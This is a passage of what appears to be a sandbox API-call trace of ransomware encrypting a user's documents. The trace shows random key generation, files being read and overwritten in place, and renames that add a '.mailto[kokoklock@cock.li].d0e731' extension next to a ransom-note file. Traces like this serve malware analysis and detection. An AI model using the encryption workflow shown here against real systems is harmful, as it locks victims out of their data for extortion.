lpBuffer=0x2f94f40*, lpNumberOfBytesWritten=0x2c5ffd88*=0x8, lpOverlapped=0x0) returned 1 [0177.899] WriteFile (in: hFile=0x7b4, lpBuffer=0x2c5ffda0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5ffd88, lpOverlapped=0x0 | out: lpBuffer=0x2c5ffda0*, lpNumberOfBytesWritten=0x2c5ffd88*=0x4, lpOverlapped=0x0) returned 1 [0177.900] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5ffd88, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c5ffd88*=0x4, lpOverlapped=0x0) returned 1 [0177.900] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c5ffd88, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c5ffd88*=0x6c, lpOverlapped=0x0) returned 1 [0177.900] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c5ffd88, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x2c5ffd88*=0x20, lpOverlapped=0x0) returned 1 [0177.900] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5ffd88, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c5ffd88*=0x4, lpOverlapped=0x0) returned 1 [0177.900] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0177.900] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950d0) returned 1 [0177.900] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.900] CloseHandle (hObject=0x7b4) returned 1 [0177.900] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x124) returned 0x2fe1518 [0177.900] wcscpy (in: _Dest=0x2fe1518, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731" [0177.900] wcscat (in: _Dest=0x2fe1518, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.900] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\zdwwenfqiuihll0zg-mz.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\zdwwenfqiuihll0zg-mz.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.901] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.901] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1518) returned 1 [0177.902] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.902] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x3055b78 [0177.902] wcscpy (in: _Dest=0x3055b78, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.902] wcscat (in: _Dest=0x3055b78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" [0177.902] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt")) returned 0x20 [0177.902] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055b78) returned 1 [0177.902] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4d00) returned 1 [0177.902] RtlExitUserThread (Status=0x1) Thread: id = 2735 os_tid = 0x10f8 [0178.181] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\8kvj0aw.odt.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.182] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\8kvj0aw.odt.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.183] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2c67fc3c | out: lpFileSize=0x2c67fc3c*=7242) returned 1 [0178.183] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x1c46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.183] ReadFile (in: hFile=0x6f4, lpBuffer=0x2c67fc10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c67fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2c67fc10*, lpNumberOfBytesRead=0x2c67fc0c*=0x4, lpOverlapped=0x0) returned 1 [0178.184] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.184] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0178.184] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0178.184] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0178.184] NtQuerySystemTime (in: CurrentTime=0x2c67fbe8 | out: CurrentTime=0x2c67fbe8*=132121213355000087) returned 0x0 [0178.184] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x8d02b10e [0178.184] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xfb19ba6 [0178.184] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x7cd9d046 [0178.184] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xd85b076f [0178.184] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xff7b51b9 [0178.184] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x9d57a5a7 [0178.184] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xc4450e99 [0178.184] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xc3c5188 [0178.184] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xa7ce54b3 [0178.184] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xd31be78e [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xdd7fc2b3 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x7839d9b6 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xe328268f [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x33795a12 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x98ceafaa [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x292fd1d8 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xf85747ee [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x18d747ae [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xdb0db0d8 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x5a72cb6c [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xb8e9d6a1 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x5899a3f3 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xe0c2c9f8 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x91faf6a8 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xe3718f00 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xb1726ec6 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xf5e7b04f [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0xeee4ab08 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x5ea767d1 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x7859bb45 [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x1a680a5c [0178.185] RtlRandom (in: Seed=0x2c67fbf4 | out: Seed=0x2c67fbf4) returned 0x3f2c25f1 [0178.196] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f01768, nNumberOfBytesToRead=0x1c4a, lpNumberOfBytesRead=0x2c67fbe8, lpOverlapped=0x0 | out: lpBuffer=0x4f01768*, lpNumberOfBytesRead=0x2c67fbe8*=0x1c4a, lpOverlapped=0x0) returned 1 [0178.197] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c67fbb0 | out: lpNewFilePointer=0x0) returned 1 [0178.197] WriteFile (in: hFile=0x6f4, lpBuffer=0x4f05808*, nNumberOfBytesToWrite=0x1c4a, lpNumberOfBytesWritten=0x2c67fbe4, lpOverlapped=0x0 | out: lpBuffer=0x4f05808*, lpNumberOfBytesWritten=0x2c67fbe4*=0x1c4a, lpOverlapped=0x0) returned 1 [0178.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0178.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0178.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0178.198] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f94fe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c67fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2f94fe0*, lpNumberOfBytesWritten=0x2c67fbe0*=0x20, lpOverlapped=0x0) returned 1 [0178.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0178.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f05808) returned 1 [0178.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01768) returned 1 [0178.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88dc0) returned 1 [0178.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0178.198] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f94f40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c67fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2f94f40*, lpNumberOfBytesWritten=0x2c67fc0c*=0x8, lpOverlapped=0x0) returned 1 [0178.198] WriteFile (in: hFile=0x6f4, lpBuffer=0x2c67fc24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c67fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2c67fc24*, lpNumberOfBytesWritten=0x2c67fc0c*=0x4, lpOverlapped=0x0) returned 1 [0178.198] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c67fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c67fc0c*=0x4, lpOverlapped=0x0) returned 1 [0178.198] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c67fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c67fc0c*=0x6c, lpOverlapped=0x0) returned 1 [0178.198] WriteFile (in: hFile=0x6f4, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c67fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x2c67fc0c*=0x20, lpOverlapped=0x0) returned 1 [0178.198] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c67fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c67fc0c*=0x4, lpOverlapped=0x0) returned 1 [0178.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0178.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0178.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0178.199] CloseHandle (hObject=0x6f4) returned 1 [0178.199] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12a) returned 0x2fe1518 [0178.199] wcscpy (in: _Dest=0x2fe1518, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731" [0178.199] wcscat (in: _Dest=0x2fe1518, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.199] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\8kvj0aw.odt.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\8kvj0aw.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.200] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.200] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1518) returned 1 [0178.200] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.200] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f8bb10 [0178.200] wcscpy (in: _Dest=0x2f8bb10, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0178.200] wcscat (in: _Dest=0x2f8bb10, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" [0178.200] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt")) returned 0x20 [0178.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bb10) returned 1 [0178.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc43a0) returned 1 [0178.201] RtlExitUserThread (Status=0x1) Thread: id = 2736 os_tid = 0x1218 [0178.202] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\eqser dlk8xwc0x5u.odp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.202] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.203] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\eqser dlk8xwc0x5u.odp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.203] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2c6ffd3c | out: lpFileSize=0x2c6ffd3c*=98820) returned 1 [0178.203] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x18200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.203] ReadFile (in: hFile=0x6f4, lpBuffer=0x2c6ffd10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c6ffd0c, lpOverlapped=0x0 | out: lpBuffer=0x2c6ffd10*, lpNumberOfBytesRead=0x2c6ffd0c*=0x4, lpOverlapped=0x0) returned 1 [0178.204] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.204] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0178.204] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0178.204] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0178.204] NtQuerySystemTime (in: CurrentTime=0x2c6ffce8 | out: CurrentTime=0x2c6ffce8*=132121213355155857) returned 0x0 [0178.204] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xe07e8226 [0178.204] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x2fa8ddf1 [0178.204] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xcc0530bb [0178.204] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x894b656a [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xca8891fd [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x9c63e9c5 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xcabd634e [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x35a30057 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x56f9973b [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xc0547cb2 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x6207dc0c [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xb33ee3a8 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x693c1a7a [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x4940ebff [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xdb553cd1 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xe9089792 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x72aeaa64 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x9f961651 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x3f84b0eb [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x9b485f93 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x35d85d66 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x864011df [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x233011db [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xb7aaf9c8 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xe289a9a3 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x37e75107 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x7adfeda1 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xf05d3bcb [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xfe244732 [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xec4f6dec [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0x52a566b [0178.205] RtlRandom (in: Seed=0x2c6ffcf4 | out: Seed=0x2c6ffcf4) returned 0xf3ee7790 [0178.216] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.216] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c6ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2c6ffcc0*=0x4096, lpOverlapped=0x0) returned 1 [0178.217] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f876b0 [0178.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88dc0 [0178.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0178.217] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0178.217] RtlAllocateHeap 